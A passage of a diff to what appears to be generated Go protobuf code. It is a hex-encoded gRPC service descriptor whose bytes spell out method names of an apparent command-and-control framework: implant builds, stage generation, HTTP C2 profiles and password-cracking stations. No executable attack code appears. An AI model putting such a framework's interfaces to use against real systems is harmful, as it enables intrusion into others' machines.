0x6e, 0x61, 0x6c, 0x12, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x4d, 0x0a, 0x19, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x53, 0x61, 0x76, 0x65, 0x42, - 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, - 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x59, 0x0a, 0x1e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, - 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x74, 0x42, 0x75, 0x69, - 0x6c, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, - 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, - 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x12, 0x3f, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, - 0x67, 0x65, 0x12, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, - 0x74, 0x65, 0x12, 0x3f, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, - 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, - 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x73, 0x12, 0x48, 0x0a, 0x16, 0x47, 0x65, 0x74, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, - 0x65, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x3f, 0x0a, 0x11, - 0x53, 0x61, 0x76, 0x65, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, - 0x65, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, - 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, - 0x0f, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, - 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, - 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, - 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, - 0x72, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, 0x75, - 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x65, 0x72, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x37, - 0x0a, 0x13, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x72, - 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, - 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, - 0x61, 0x73, 0x6b, 0x42, 0x79, 0x49, 0x44, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, - 0x6b, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x46, 0x69, 0x6c, 0x65, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, - 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x46, 0x69, 0x6c, 0x65, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, - 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x39, 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, + 0x59, 0x0a, 0x1e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, + 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x3f, 0x0a, 0x0d, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x3f, 0x0a, 0x11, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x11, + 0x47, 0x65, 0x74, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, + 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x48, 0x0a, 0x16, 0x47, + 0x65, 0x74, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x42, + 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x3f, 0x0a, 0x11, 0x53, 0x61, 0x76, 0x65, 0x48, 0x54, 0x54, + 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, + 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, + 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, + 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, + 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x16, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x37, 0x0a, 0x13, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, 0x6c, + 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, + 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x42, 0x79, 0x49, 0x44, + 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, + 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, + 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, + 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x41, 0x0a, + 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x55, + 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x39, + 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, 0x67, - 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, - 0x72, 0x61, 0x74, 0x65, 0x12, 0x39, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, - 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 